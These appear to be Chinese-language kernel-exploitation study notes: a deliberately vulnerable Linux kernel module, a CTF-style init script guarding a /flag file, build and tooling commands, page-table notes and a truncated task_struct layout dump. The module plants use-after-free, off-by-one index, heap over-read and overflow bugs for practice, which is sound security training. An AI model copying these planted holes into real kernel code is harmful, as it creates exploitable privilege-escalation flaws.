Kernel01

例子

开启 CONFIG_MEMCG_KMEM 等保护机制

1.c

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/string.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/miscdevice.h>
#include <linux/delay.h>
MODULE_LICENSE("Dual BSD/GPL");
#define ADD  0x20
#define DEL 0x30
#define SHOW   0x40
#define EDIT   0x50
#define LIST 0x66
#define ADDO  0x77
#define ADDA  0x88
char *addrList[0x1000] ={0};
struct add_args{
    uint64_t size;
    char __user *buf;
};
struct del_args
{
    uint64_t idx;   
};
struct show_args{
    uint64_t idx;
    uint64_t size;
    char __user *buf;
};
struct edit_args
{
    uint64_t idx;
    uint64_t size;
    char __user *buf;
};
struct my_struct{
    char buf[0x200];
};
static struct kmem_cache *cache;
static int add(struct add_args *args){
    int i = 0;
    char *addr = kmalloc(args->size,GFP_KERNEL);
    if(addr == NULL){
        return -ENOMEM;
    }
    if(copy_from_user(addr,args->buf,args->size)){
        return -EINVAL;
    }
    for(i = 0;i<0x1000;i++){
        if(!addrList[i]){
            addrList[i] = addr;
            return i;
        }
    }
    return 0;
}
static int add_only(struct add_args *args){
    // struct page *pg;
    char temp[0x200];
    int i = 0;
    char *addr = kmem_cache_alloc(cache,GFP_KERNEL_ACCOUNT);
    if(addr == NULL){
        return -ENOMEM;
    }
    if(copy_from_user(temp,args->buf,args->size)){
        return -EINVAL;
    }
    memcpy(addr, temp, args->size);
    for(i = 0;i<0x1000;i++){
        if(!addrList[i]){
            addrList[i] = addr;
            return i;
        }
    }
    return 0;
}
static int add_account(struct add_args *args){
    int i = 0;
    char *addr = kmalloc(args->size,GFP_KERNEL_ACCOUNT);
    if(addr == NULL){
        return -ENOMEM;
    }
    if(copy_from_user(addr,args->buf,args->size)){
        return -EINVAL;
    }
    for(i = 0;i<0x1000;i++){
        if(!addrList[i]){
            addrList[i] = addr;
            return i;
        }
    }
    return 0;
}
static int edit(struct edit_args *args){
    char temp[0x1000] = {0};
    unsigned int idx = 0;
    idx = args->idx;
    if(idx > 0x1000 || !addrList[idx]){
        return -1;
    }
    if(copy_from_user(temp,args->buf,args->size)){
        return -EINVAL;
    }
    memcpy(addrList[idx],temp,args->size);
    return 0;


}
static int del(struct del_args *args){
    unsigned int idx = 0;
    idx = args->idx;
    if(idx > 0x1000 || !addrList[idx]){
        return -1;
    }
    kfree(addrList[idx]);
    return 0;

}
static int show(struct show_args *args){
    unsigned int idx = 0;
    char buf[0x1000] = {0};
    idx = args->idx;
    if(idx > 0x1000 || !addrList[idx]){
        return -1;
    }
    memcpy(buf,addrList[idx],0x1000);
    if(copy_to_user(args->buf,buf,args->size)){
        return -EINVAL;
    }
    return 0;
}
static int list_chunk(struct show_args *args){
    unsigned int idx = 0;
    char buf[0x2000] = {0};
    idx = args->idx;
    if(idx > 0x1000 || !addrList[idx]){
        return -1;
    }
    memcpy(buf,&addrList,0x2000);
    if(copy_to_user(args->buf,buf,args->size)){
        return -EINVAL;
    }
    return 0;
}
static long kernel_ioctl(struct file *file, unsigned int cmd, unsigned long arg){
    switch(cmd){
        case ADD:{
            long ret = -EINVAL ;
            struct add_args a1;
            if(copy_from_user(&a1,(void *)arg,sizeof(a1))){
                return -EINVAL;
            }
            ret = add(&a1);
            break;
        }           
        case DEL:{
            long ret = -EINVAL ;
            struct del_args a2;
            if(copy_from_user(&a2,(void *)arg,sizeof(a2))){
                return -EINVAL;
            }
            ret = del(&a2);
            break;
        }
        case SHOW:{
            long ret = -EINVAL ;
            struct show_args a3;
            if(copy_from_user(&a3,(void *)arg,sizeof(a3))){
                return -EINVAL;
            }
            ret = show(&a3);
            break;
        }
        case EDIT:{
            long ret = -EINVAL ;
            struct edit_args a4;
            if(copy_from_user(&a4,(void *)arg,sizeof(a4))){
                return -EINVAL;
            }
            ret = edit(&a4);
            break;
        }
        case LIST:{
            long ret = -EINVAL ;
            struct show_args a5;
            if(copy_from_user(&a5,(void *)arg,sizeof(a5))){
                return -EINVAL;
            }
            ret = list_chunk(&a5);
            break;
        }
        case ADDO:{
            long ret = -EINVAL ;
            struct add_args a1;
            if(copy_from_user(&a1,(void *)arg,sizeof(a1))){
                return -EINVAL;
            }
            ret = add_only(&a1);
            break;
        }
        case ADDA:{
            long ret = -EINVAL ;
            struct add_args a1;
            if(copy_from_user(&a1,(void *)arg,sizeof(a1))){
                return -EINVAL;
            }
            ret = add_account(&a1);
            break;
        }  
        default:{
            long ret = -EINVAL;
            ret = -1;
            break;
        }
    }
    return 0;
}
static int kernel_release(struct inode *inode, struct file *filp){
    int i = 0;
    for(i = 0;i<0x1000;i++){
        addrList[i] = NULL;
    }
    return 0;
}
static struct file_operations fops = {
    .owner = THIS_MODULE,
    .open =      NULL,
    .release =   kernel_release,
    .read =      NULL,
    .write =     NULL,
    .unlocked_ioctl = kernel_ioctl
};
 
static struct miscdevice misc = {
    .minor = MISC_DYNAMIC_MINOR,
    .name  = "kernelpwn",
    .fops = &fops
};
 
int kernel_init(void)
{
    misc_register(&misc);
    cache =  kmem_cache_create("my_struct",
              sizeof(struct my_struct), 0,
              SLAB_HWCACHE_ALIGN | SLAB_PANIC | SLAB_ACCOUNT,
              NULL);
    return 0;
}
 
void kernel_exit(void)
{
    printk(KERN_INFO "Goodbye hackern");
    misc_deregister(&misc);
}

module_init(kernel_init);
module_exit(kernel_exit);
MODULE_AUTHOR("NIRUGIRI");
MODULE_LICENSE("GPL");

init

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/bin/sh

mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
chown root:root /*
chown root:root .
chmod 755 .
chmod 755 /*
chmod 600 /flag
chmod 777 /tmp
insmod /4.ko
chmod 666 /dev/kernelpwn
chmod 740 /flag
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh

umount /proc
umount /tmp


poweroff -d 0  -f

makefile

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
obj-m := 1.o

KERNELDR := /home/ubuntu/kernel/linux-6.4/

PWD := $(shell pwd)

modules:  
	$(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:  
	$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:  
	rm -rf *.o *~  .depend .*.cmd *.mod *.mod.c .tmp_versions *.order Module.*

exp.sh

1
2
/bin/sh
musl-gcc $1 -static -lpthread -o exp && find . | cpio -o --format=newc > ../rootfs.img && cd .. && ./start.sh
1
2
3
4
5
Gdb:      9.2
Python:   3.8.10 (default, May 26 2023, 14:05:08)  [GCC 9.4.0]
Pwndbg:   2023.07.17 build: c370306
Capstone: 5.0.1280
Unicorn:  2.0.1

常用工具

vmlinux-to-elf

用来将 bzImage 转化为 vmlinux

1
2
3
sudo apt install python3-pip liblzo2-dev
sudo pip3 install --upgrade lz4 zstandard git+https://github.com/clubby789/python-lzo@b4e39df
sudo pip3 install --upgrade git+https://github.com/marin-m/vmlinux-to-elf

pahole

1
sudo apt install pahole

需要掌握的知识

页表解析

vmemmap_base 是存放 page 结构体的基地址

page_offset_base: 是线性映射区的基地址 可以理解为内核堆栈代码段等的基地址

物理地址 + page_offset_base = 线性映射区地址

pgd-> pud-> pmd 里面存放的是物理地址

pte 里面存放的可能是数据也可能是地址 取决于 pte 属于什么段,如果是数据段里面的存放的就是数据或者代码。如果是 mmap 则存放的是物理地址

1
ffff888000000000 | -119.5  TB | ffffc87fffffffff |   64 TB | direct mapping of all physical memory (page_offset_base)

pgd = task_struct-> mm_struct-> pgd 来获取

task_struct

   1
   2
   3
   4
   5
   6
   7
   8
   9
  10
  11
  12
  13
  14
  15
  16
  17
  18
  19
  20
  21
  22
  23
  24
  25
  26
  27
  28
  29
  30
  31
  32
  33
  34
  35
  36
  37
  38
  39
  40
  41
  42
  43
  44
  45
  46
  47
  48
  49
  50
  51
  52
  53
  54
  55
  56
  57
  58
  59
  60
  61
  62
  63
  64
  65
  66
  67
  68
  69
  70
  71
  72
  73
  74
  75
  76
  77
  78
  79
  80
  81
  82
  83
  84
  85
  86
  87
  88
  89
  90
  91
  92
  93
  94
  95
  96
  97
  98
  99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 114
 115
 116
 117
 118
 119
 120
 121
 122
 123
 124
 125
 126
 127
 128
 129
 130
 131
 132
 133
 134
 135
 136
 137
 138
 139
 140
 141
 142
 143
 144
 145
 146
 147
 148
 149
 150
 151
 152
 153
 154
 155
 156
 157
 158
 159
 160
 161
 162
 163
 164
 165
 166
 167
 168
 169
 170
 171
 172
 173
 174
 175
 176
 177
 178
 179
 180
 181
 182
 183
 184
 185
 186
 187
 188
 189
 190
 191
 192
 193
 194
 195
 196
 197
 198
 199
 200
 201
 202
 203
 204
 205
 206
 207
 208
 209
 210
 211
 212
 213
 214
 215
 216
 217
 218
 219
 220
 221
 222
 223
 224
 225
 226
 227
 228
 229
 230
 231
 232
 233
 234
 235
 236
 237
 238
 239
 240
 241
 242
 243
 244
 245
 246
 247
 248
 249
 250
 251
 252
 253
 254
 255
 256
 257
 258
 259
 260
 261
 262
 263
 264
 265
 266
 267
 268
 269
 270
 271
 272
 273
 274
 275
 276
 277
 278
 279
 280
 281
 282
 283
 284
 285
 286
 287
 288
 289
 290
 291
 292
 293
 294
 295
 296
 297
 298
 299
 300
 301
 302
 303
 304
 305
 306
 307
 308
 309
 310
 311
 312
 313
 314
 315
 316
 317
 318
 319
 320
 321
 322
 323
 324
 325
 326
 327
 328
 329
 330
 331
 332
 333
 334
 335
 336
 337
 338
 339
 340
 341
 342
 343
 344
 345
 346
 347
 348
 349
 350
 351
 352
 353
 354
 355
 356
 357
 358
 359
 360
 361
 362
 363
 364
 365
 366
 367
 368
 369
 370
 371
 372
 373
 374
 375
 376
 377
 378
 379
 380
 381
 382
 383
 384
 385
 386
 387
 388
 389
 390
 391
 392
 393
 394
 395
 396
 397
 398
 399
 400
 401
 402
 403
 404
 405
 406
 407
 408
 409
 410
 411
 412
 413
 414
 415
 416
 417
 418
 419
 420
 421
 422
 423
 424
 425
 426
 427
 428
 429
 430
 431
 432
 433
 434
 435
 436
 437
 438
 439
 440
 441
 442
 443
 444
 445
 446
 447
 448
 449
 450
 451
 452
 453
 454
 455
 456
 457
 458
 459
 460
 461
 462
 463
 464
 465
 466
 467
 468
 469
 470
 471
 472
 473
 474
 475
 476
 477
 478
 479
 480
 481
 482
 483
 484
 485
 486
 487
 488
 489
 490
 491
 492
 493
 494
 495
 496
 497
 498
 499
 500
 501
 502
 503
 504
 505
 506
 507
 508
 509
 510
 511
 512
 513
 514
 515
 516
 517
 518
 519
 520
 521
 522
 523
 524
 525
 526
 527
 528
 529
 530
 531
 532
 533
 534
 535
 536
 537
 538
 539
 540
 541
 542
 543
 544
 545
 546
 547
 548
 549
 550
 551
 552
 553
 554
 555
 556
 557
 558
 559
 560
 561
 562
 563
 564
 565
 566
 567
 568
 569
 570
 571
 572
 573
 574
 575
 576
 577
 578
 579
 580
 581
 582
 583
 584
 585
 586
 587
 588
 589
 590
 591
 592
 593
 594
 595
 596
 597
 598
 599
 600
 601
 602
 603
 604
 605
 606
 607
 608
 609
 610
 611
 612
 613
 614
 615
 616
 617
 618
 619
 620
 621
 622
 623
 624
 625
 626
 627
 628
 629
 630
 631
 632
 633
 634
 635
 636
 637
 638
 639
 640
 641
 642
 643
 644
 645
 646
 647
 648
 649
 650
 651
 652
 653
 654
 655
 656
 657
 658
 659
 660
 661
 662
 663
 664
 665
 666
 667
 668
 669
 670
 671
 672
 673
 674
 675
 676
 677
 678
 679
 680
 681
 682
 683
 684
 685
 686
 687
 688
 689
 690
 691
 692
 693
 694
 695
 696
 697
 698
 699
 700
 701
 702
 703
 704
 705
 706
 707
 708
 709
 710
 711
 712
 713
 714
 715
 716
 717
 718
 719
 720
 721
 722
 723
 724
 725
 726
 727
 728
 729
 730
 731
 732
 733
 734
 735
 736
 737
 738
 739
 740
 741
 742
 743
 744
 745
 746
 747
 748
 749
 750
 751
 752
 753
 754
 755
 756
 757
 758
 759
 760
 761
 762
 763
 764
 765
 766
 767
 768
 769
 770
 771
 772
 773
 774
 775
 776
 777
 778
 779
 780
 781
 782
 783
 784
 785
 786
 787
 788
 789
 790
 791
 792
 793
 794
 795
 796
 797
 798
 799
 800
 801
 802
 803
 804
 805
 806
 807
 808
 809
 810
 811
 812
 813
 814
 815
 816
 817
 818
 819
 820
 821
 822
 823
 824
 825
 826
 827
 828
 829
 830
 831
 832
 833
 834
 835
 836
 837
 838
 839
 840
 841
 842
 843
 844
 845
 846
 847
 848
 849
 850
 851
 852
 853
 854
 855
 856
 857
 858
 859
 860
 861
 862
 863
 864
 865
 866
 867
 868
 869
 870
 871
 872
 873
 874
 875
 876
 877
 878
 879
 880
 881
 882
 883
 884
 885
 886
 887
 888
 889
 890
 891
 892
 893
 894
 895
 896
 897
 898
 899
 900
 901
 902
 903
 904
 905
 906
 907
 908
 909
 910
 911
 912
 913
 914
 915
 916
 917
 918
 919
 920
 921
 922
 923
 924
 925
 926
 927
 928
 929
 930
 931
 932
 933
 934
 935
 936
 937
 938
 939
 940
 941
 942
 943
 944
 945
 946
 947
 948
 949
 950
 951
 952
 953
 954
 955
 956
 957
 958
 959
 960
 961
 962
 963
 964
 965
 966
 967
 968
 969
 970
 971
 972
 973
 974
 975
 976
 977
 978
 979
 980
 981
 982
 983
 984
 985
 986
 987
 988
 989
 990
 991
 992
 993
 994
 995
 996
 997
 998
 999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
* offset    |  size */  type = struct task_struct {
/*    0      |    24 */    struct thread_info {
/*    0      |     8 */        unsigned long flags;
/*    8      |     8 */        unsigned long syscall_work;
/*   16      |     4 */        u32 status;
/*   20      |     4 */        u32 cpu;

                               /* total size (bytes):   24 */
                           } thread_info;
/*   24      |     4 */    unsigned int __state;
/* XXX  4-byte hole  */
/*   32      |     8 */    void *stack;
/*   40      |     4 */    refcount_t usage;
/*   44      |     4 */    unsigned int flags;
/*   48      |     4 */    unsigned int ptrace;
/*   52      |     4 */    int on_cpu;
/*   56      |    16 */    struct __call_single_node {
/*   56      |     8 */        struct llist_node {
/*   56      |     8 */            struct llist_node *next;

                                   /* total size (bytes):    8 */
                               } llist;
/*   64      |     4 */        union {
/*                 4 */            unsigned int u_flags;
/*                 4 */            atomic_t a_flags;

                                   /* total size (bytes):    4 */
                               };
/*   68      |     2 */        u16 src;
/*   70      |     2 */        u16 dst;

                               /* total size (bytes):   16 */
                           } wake_entry;
/*   72      |     4 */    unsigned int wakee_flips;
/* XXX  4-byte hole  */
/*   80      |     8 */    unsigned long wakee_flip_decay_ts;
/*   88      |     8 */    struct task_struct *last_wakee;
/*   96      |     4 */    int recent_used_cpu;
/*  100      |     4 */    int wake_cpu;
/*  104      |     4 */    int on_rq;
/*  108      |     4 */    int prio;
/*  112      |     4 */    int static_prio;
/*  116      |     4 */    int normal_prio;
/*  120      |     4 */    unsigned int rt_priority;
/* XXX  4-byte hole  */
/*  128      |   256 */    struct sched_entity {
/*  128      |    16 */        struct load_weight {
/*  128      |     8 */            unsigned long weight;
/*  136      |     4 */            u32 inv_weight;
/* XXX  4-byte padding  */

                                   /* total size (bytes):   16 */
                               } load;
/*  144      |    24 */        struct rb_node {
/*  144      |     8 */            unsigned long __rb_parent_color;
/*  152      |     8 */            struct rb_node *rb_right;
/*  160      |     8 */            struct rb_node *rb_left;

                                   /* total size (bytes):   24 */
                               } run_node;
/*  168      |    16 */        struct list_head {
/*  168      |     8 */            struct list_head *next;
/*  176      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } group_node;
/*  184      |     4 */        unsigned int on_rq;
/* XXX  4-byte hole  */
/*  192      |     8 */        u64 exec_start;
/*  200      |     8 */        u64 sum_exec_runtime;
/*  208      |     8 */        u64 vruntime;
/*  216      |     8 */        u64 prev_sum_exec_runtime;
/*  224      |     8 */        u64 nr_migrations;
/*  232      |     4 */        int depth;
/* XXX  4-byte hole  */
/*  240      |     8 */        struct sched_entity *parent;
/*  248      |     8 */        struct cfs_rq *cfs_rq;
/*  256      |     8 */        struct cfs_rq *my_q;
/*  264      |     8 */        unsigned long runnable_weight;
/* XXX 48-byte hole  */
/*  320      |    64 */        struct sched_avg {
/*  320      |     8 */            u64 last_update_time;
/*  328      |     8 */            u64 load_sum;
/*  336      |     8 */            u64 runnable_sum;
/*  344      |     4 */            u32 util_sum;
/*  348      |     4 */            u32 period_contrib;
/*  352      |     8 */            unsigned long load_avg;
/*  360      |     8 */            unsigned long runnable_avg;
/*  368      |     8 */            unsigned long util_avg;
/*  376      |     8 */            struct util_est {
/*  376      |     4 */                unsigned int enqueued;
/*  380      |     4 */                unsigned int ewma;

                                       /* total size (bytes):    8 */
                                   } util_est;

                                   /* total size (bytes):   64 */
                               } avg;

                               /* total size (bytes):  256 */
                           } se;
/*  384      |    48 */    struct sched_rt_entity {
/*  384      |    16 */        struct list_head {
/*  384      |     8 */            struct list_head *next;
/*  392      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } run_list;
/*  400      |     8 */        unsigned long timeout;
/*  408      |     8 */        unsigned long watchdog_stamp;
/*  416      |     4 */        unsigned int time_slice;
/*  420      |     2 */        unsigned short on_rq;
/*  422      |     2 */        unsigned short on_list;
/*  424      |     8 */        struct sched_rt_entity *back;

                               /* total size (bytes):   48 */
                           } rt;
/*  432      |   224 */    struct sched_dl_entity {
/*  432      |    24 */        struct rb_node {
/*  432      |     8 */            unsigned long __rb_parent_color;
/*  440      |     8 */            struct rb_node *rb_right;
/*  448      |     8 */            struct rb_node *rb_left;

                                   /* total size (bytes):   24 */
                               } rb_node;
/*  456      |     8 */        u64 dl_runtime;
/*  464      |     8 */        u64 dl_deadline;
/*  472      |     8 */        u64 dl_period;
/*  480      |     8 */        u64 dl_bw;
/*  488      |     8 */        u64 dl_density;
/*  496      |     8 */        s64 runtime;
/*  504      |     8 */        u64 deadline;
/*  512      |     4 */        unsigned int flags;
/*  516: 0   |     4 */        unsigned int dl_throttled : 1;
/*  516: 1   |     4 */        unsigned int dl_yielded : 1;
/*  516: 2   |     4 */        unsigned int dl_non_contending : 1;
/*  516: 3   |     4 */        unsigned int dl_overrun : 1;
/* XXX  4-bit hole   */
/* XXX  3-byte hole  */
/*  520      |    64 */        struct hrtimer {
/*  520      |    32 */            struct timerqueue_node {
/*  520      |    24 */                struct rb_node {
/*  520      |     8 */                    unsigned long __rb_parent_color;
/*  528      |     8 */                    struct rb_node *rb_right;
/*  536      |     8 */                    struct rb_node *rb_left;

                                           /* total size (bytes):   24 */
                                       } node;
/*  544      |     8 */                ktime_t expires;

                                       /* total size (bytes):   32 */
                                   } node;
/*  552      |     8 */            ktime_t _softexpires;
/*  560      |     8 */            enum hrtimer_restart (*function)(struct hrtimer *);
/*  568      |     8 */            struct hrtimer_clock_base *base;
/*  576      |     1 */            u8 state;
/*  577      |     1 */            u8 is_rel;
/*  578      |     1 */            u8 is_soft;
/*  579      |     1 */            u8 is_hard;
/* XXX  4-byte padding  */

                                   /* total size (bytes):   64 */
                               } dl_timer;
/*  584      |    64 */        struct hrtimer {
/*  584      |    32 */            struct timerqueue_node {
/*  584      |    24 */                struct rb_node {
/*  584      |     8 */                    unsigned long __rb_parent_color;
/*  592      |     8 */                    struct rb_node *rb_right;
/*  600      |     8 */                    struct rb_node *rb_left;

                                           /* total size (bytes):   24 */
                                       } node;
/*  608      |     8 */                ktime_t expires;

                                       /* total size (bytes):   32 */
                                   } node;
/*  616      |     8 */            ktime_t _softexpires;
/*  624      |     8 */            enum hrtimer_restart (*function)(struct hrtimer *);
/*  632      |     8 */            struct hrtimer_clock_base *base;
/*  640      |     1 */            u8 state;
/*  641      |     1 */            u8 is_rel;
/*  642      |     1 */            u8 is_soft;
/*  643      |     1 */            u8 is_hard;
/* XXX  4-byte padding  */

                                   /* total size (bytes):   64 */
                               } inactive_timer;
/*  648      |     8 */        struct sched_dl_entity *pi_se;

                               /* total size (bytes):  224 */
                           } dl;
/*  656      |     8 */    const struct sched_class *sched_class;
/*  664      |    24 */    struct rb_node {
/*  664      |     8 */        unsigned long __rb_parent_color;
/*  672      |     8 */        struct rb_node *rb_right;
/*  680      |     8 */        struct rb_node *rb_left;

                               /* total size (bytes):   24 */
                           } core_node;
/*  688      |     8 */    unsigned long core_cookie;
/*  696      |     4 */    unsigned int core_occupation;
/* XXX  4-byte hole  */
/*  704      |     8 */    struct task_group *sched_task_group;
/*  712      |     8 */    struct uclamp_se uclamp_req[2];
/*  720      |     8 */    struct uclamp_se uclamp[2];
/* XXX 40-byte hole  */
/*  768      |   256 */    struct sched_statistics {
/*  768      |     8 */        u64 wait_start;
/*  776      |     8 */        u64 wait_max;
/*  784      |     8 */        u64 wait_count;
/*  792      |     8 */        u64 wait_sum;
/*  800      |     8 */        u64 iowait_count;
/*  808      |     8 */        u64 iowait_sum;
/*  816      |     8 */        u64 sleep_start;
/*  824      |     8 */        u64 sleep_max;
/*  832      |     8 */        s64 sum_sleep_runtime;
/*  840      |     8 */        u64 block_start;
/*  848      |     8 */        u64 block_max;
/*  856      |     8 */        s64 sum_block_runtime;
/*  864      |     8 */        u64 exec_max;
/*  872      |     8 */        u64 slice_max;
/*  880      |     8 */        u64 nr_migrations_cold;
/*  888      |     8 */        u64 nr_failed_migrations_affine;
/*  896      |     8 */        u64 nr_failed_migrations_running;
/*  904      |     8 */        u64 nr_failed_migrations_hot;
/*  912      |     8 */        u64 nr_forced_migrations;
/*  920      |     8 */        u64 nr_wakeups;
/*  928      |     8 */        u64 nr_wakeups_sync;
/*  936      |     8 */        u64 nr_wakeups_migrate;
/*  944      |     8 */        u64 nr_wakeups_local;
/*  952      |     8 */        u64 nr_wakeups_remote;
/*  960      |     8 */        u64 nr_wakeups_affine;
/*  968      |     8 */        u64 nr_wakeups_affine_attempts;
/*  976      |     8 */        u64 nr_wakeups_passive;
/*  984      |     8 */        u64 nr_wakeups_idle;
/*  992      |     8 */        u64 core_forceidle_sum;
/* XXX 24-byte padding  */

                               /* total size (bytes):  256 */
                           } stats;
/* 1024      |     8 */    struct hlist_head {
/* 1024      |     8 */        struct hlist_node *first;

                               /* total size (bytes):    8 */
                           } preempt_notifiers;
/* 1032      |     4 */    unsigned int btrace_seq;
/* 1036      |     4 */    unsigned int policy;
/* 1040      |     4 */    int nr_cpus_allowed;
/* XXX  4-byte hole  */
/* 1048      |     8 */    const cpumask_t *cpus_ptr;
/* 1056      |     8 */    cpumask_t *user_cpus_ptr;
/* 1064      |  1024 */    cpumask_t cpus_mask;
/* 2088      |     8 */    void *migration_pending;
/* 2096      |     2 */    unsigned short migration_disabled;
/* 2098      |     2 */    unsigned short migration_flags;
/* 2100      |     4 */    int rcu_read_lock_nesting;
/* 2104      |     4 */    union rcu_special {
/*                 4 */        struct {
/* 2104      |     1 */            u8 blocked;
/* 2105      |     1 */            u8 need_qs;
/* 2106      |     1 */            u8 exp_hint;
/* 2107      |     1 */            u8 need_mb;

                                   /* total size (bytes):    4 */
                               } b;
/*                 4 */        u32 s;

                               /* total size (bytes):    4 */
                           } rcu_read_unlock_special;
/* XXX  4-byte hole  */
/* 2112      |    16 */    struct list_head {
/* 2112      |     8 */        struct list_head *next;
/* 2120      |     8 */        struct list_head *prev;

                               /* total size (bytes):   16 */
                           } rcu_node_entry;
/* 2128      |     8 */    struct rcu_node *rcu_blocked_node;
/* 2136      |     8 */    unsigned long rcu_tasks_nvcsw;
/* 2144      |     1 */    u8 rcu_tasks_holdout;
/* 2145      |     1 */    u8 rcu_tasks_idx;
/* XXX  2-byte hole  */
/* 2148      |     4 */    int rcu_tasks_idle_cpu;
/* 2152      |    16 */    struct list_head {
/* 2152      |     8 */        struct list_head *next;
/* 2160      |     8 */        struct list_head *prev;

                               /* total size (bytes):   16 */
                           } rcu_tasks_holdout_list;
/* 2168      |     4 */    int trc_reader_nesting;
/* 2172      |     4 */    int trc_ipi_to_cpu;
/* 2176      |     4 */    union rcu_special {
/*                 4 */        struct {
/* 2176      |     1 */            u8 blocked;
/* 2177      |     1 */            u8 need_qs;
/* 2178      |     1 */            u8 exp_hint;
/* 2179      |     1 */            u8 need_mb;

                                   /* total size (bytes):    4 */
                               } b;
/*                 4 */        u32 s;

                               /* total size (bytes):    4 */
                           } trc_reader_special;
/* XXX  4-byte hole  */
/* 2184      |    16 */    struct list_head {
/* 2184      |     8 */        struct list_head *next;
/* 2192      |     8 */        struct list_head *prev;

                               /* total size (bytes):   16 */
                           } trc_holdout_list;
/* 2200      |    16 */    struct list_head {
/* 2200      |     8 */        struct list_head *next;
/* 2208      |     8 */        struct list_head *prev;

                               /* total size (bytes):   16 */
                           } trc_blkd_node;
/* 2216      |     4 */    int trc_blkd_cpu;
/* XXX  4-byte hole  */
/* 2224      |    32 */    struct sched_info {
/* 2224      |     8 */        unsigned long pcount;
/* 2232      |     8 */        unsigned long long run_delay;
/* 2240      |     8 */        unsigned long long last_arrival;
/* 2248      |     8 */        unsigned long long last_queued;

                               /* total size (bytes):   32 */
                           } sched_info;
/* 2256      |    16 */    struct list_head {
/* 2256      |     8 */        struct list_head *next;
/* 2264      |     8 */        struct list_head *prev;

                               /* total size (bytes):   16 */
                           } tasks;
/* 2272      |    40 */    struct plist_node {
/* 2272      |     4 */        int prio;
/* XXX  4-byte hole  */
/* 2280      |    16 */        struct list_head {
/* 2280      |     8 */            struct list_head *next;
/* 2288      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } prio_list;
/* 2296      |    16 */        struct list_head {
/* 2296      |     8 */            struct list_head *next;
/* 2304      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } node_list;

                               /* total size (bytes):   40 */
                           } pushable_tasks;
/* 2312      |    24 */    struct rb_node {
/* 2312      |     8 */        unsigned long __rb_parent_color;
/* 2320      |     8 */        struct rb_node *rb_right;
/* 2328      |     8 */        struct rb_node *rb_left;

                               /* total size (bytes):   24 */
                           } pushable_dl_tasks;
/* 2336      |     8 */    struct mm_struct *mm;
/* 2344      |     8 */    struct mm_struct *active_mm;
/* 2352      |     4 */    int exit_state;
/* 2356      |     4 */    int exit_code;
/* 2360      |     4 */    int exit_signal;
/* 2364      |     4 */    int pdeath_signal;
/* 2368      |     8 */    unsigned long jobctl;
/* 2376      |     4 */    unsigned int personality;
/* 2380: 0   |     4 */    unsigned int sched_reset_on_fork : 1;
/* 2380: 1   |     4 */    unsigned int sched_contributes_to_load : 1;
/* 2380: 2   |     4 */    unsigned int sched_migrated : 1;
/* XXX  5-bit hole   */
/* XXX  3-byte hole  */
/* 2384: 0   |     4 */    unsigned int sched_remote_wakeup : 1;
/* 2384: 1   |     4 */    unsigned int in_execve : 1;
/* 2384: 2   |     4 */    unsigned int in_iowait : 1;
/* 2384: 3   |     4 */    unsigned int restore_sigmask : 1;
/* 2384: 4   |     4 */    unsigned int in_user_fault : 1;
/* 2384: 5   |     4 */    unsigned int no_cgroup_migration : 1;
/* 2384: 6   |     4 */    unsigned int frozen : 1;
/* 2384: 7   |     4 */    unsigned int use_memdelay : 1;
/* 2385: 0   |     4 */    unsigned int in_memstall : 1;
/* 2385: 1   |     4 */    unsigned int in_eventfd : 1;
/* 2385: 2   |     4 */    unsigned int pasid_activated : 1;
/* 2385: 3   |     4 */    unsigned int reported_split_lock : 1;
/* 2385: 4   |     4 */    unsigned int in_thrashing : 1;
/* XXX  3-bit hole   */
/* XXX  6-byte hole  */
/* 2392      |     8 */    unsigned long atomic_flags;
/* 2400      |    56 */    struct restart_block {
/* 2400      |     8 */        unsigned long arch_data;
/* 2408      |     8 */        long (*fn)(struct restart_block *);
/* 2416      |    40 */        union {
/*                40 */            struct {
